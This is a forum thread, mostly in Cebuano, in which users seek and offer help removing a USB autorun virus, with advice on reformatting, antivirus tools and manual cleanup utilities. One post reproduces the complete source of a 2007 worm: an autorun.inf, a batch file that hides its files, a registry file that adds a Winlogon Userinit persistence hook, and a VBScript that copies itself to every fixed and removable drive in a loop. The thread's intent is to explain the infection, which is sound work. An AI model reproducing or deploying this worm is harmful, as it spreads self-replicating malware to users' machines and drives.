Virus attack..Help!

[carboloy]

---

i format na lang na imong hard disk.

[jayher]

try daw bro NOD32.

[jet31]

Maayo ana partision nimo hardisk C og D. ang c kay para ra sa windows of software. den imo data naa tanan sa D.. kung ma corupt and windows o naa virus foramton ra nimo ang C , clean install para wala hasol sige balik balik ang virus

[d3dx9]

autorun.inf

code:

[autorun]
open=
shell\open=Open(Sub7@Chatx.net)
shell\open\Command=WScript.exe .\mma.vbs
shell\open\Default=1
shell\explore=explore(Sub7@Chatx.net)
shell\explore\Command=WScript.exe .\mma.vbs

mma.bat

code:

@echo off
if exist .\mma.reg regedit /s .\mma.reg
if not "%1"=="" goto open
if exist mma.vbs start WScript.exe mma.vbs&exit
if exist %SYSTEMROOT%\system32\mma.vbs start WScript.exe %SYSTEMROOT%\system32\mma.vbs&exit
exit
:open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if "%1"=="+" attrib +s +a +h +r %2\mma.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.inf
:end

mma.reg

code:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="userinit.exe,mma.bat"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000

mma.vbs

code:

'dranyamcram v1.0
'Davao City Phils
'September 3, 2007
'Sub7@ChatX.net

on error resume next
Set WshShell =CreateObject("WScript.Shell")


For i=1 to 1

set Of = CreateObject("Scripting.FileSystemObject")
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\mma.vbs" then
isdir=true
else
a=WshShell.Run("mma.bat Open" ,0,False)
isdir=false
end if

For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then
a=WshShell.Run("mma.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\mma.*",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
else
Of.CopyFile "mma.*",d&"\",True
Of.CopyFile "autorun.inf",d&"\",True
end if
a=WshShell.Run("mma.bat + "&d ,0,True)
End If
next

if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("mma.bat - "&dir ,0,True)
Of.CopyFile "mma.*",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
a=WshShell.Run("mma.bat + "&dir ,0,True)
end if

next

Mura2x ni kato sa tagalipa na virus not exactly the same but the concept is still the same.. gicopy2x ra jud ni.. tsktsktsk! Although dili jud ni siya makadaut sa system nimo, magsige ra ni samok2x.. heheh!

[jayher]

mga bro. unsa-on pag remove sa USTScandal.avi?

[spoken]

reformat nalang na bro...

[nirdle_phogi]

mga bro. unsa-on pag remove sa USTScandal.avi?

try noobkiller by leerz bro.. naa sa pc-forums.org, search lang didto..

ako kun mag-delete ko virus manually, gamit nako mga programs kung walay antivirus;

process explorer //gamit kaayo ni esp kung naka-disable ang taskman.exe (task manager). Then ako i-kill process ang mga suspected na activities sa virus.

hijackthis //para makita ang ang mga programs na naka-register sa system startup nya ako i-remove ang mga suspected na virus.

noobkiller //mao ni ako gamit pag-fix sa mga naka disabled sa registry (msconfig, folder options, task manager, etc..)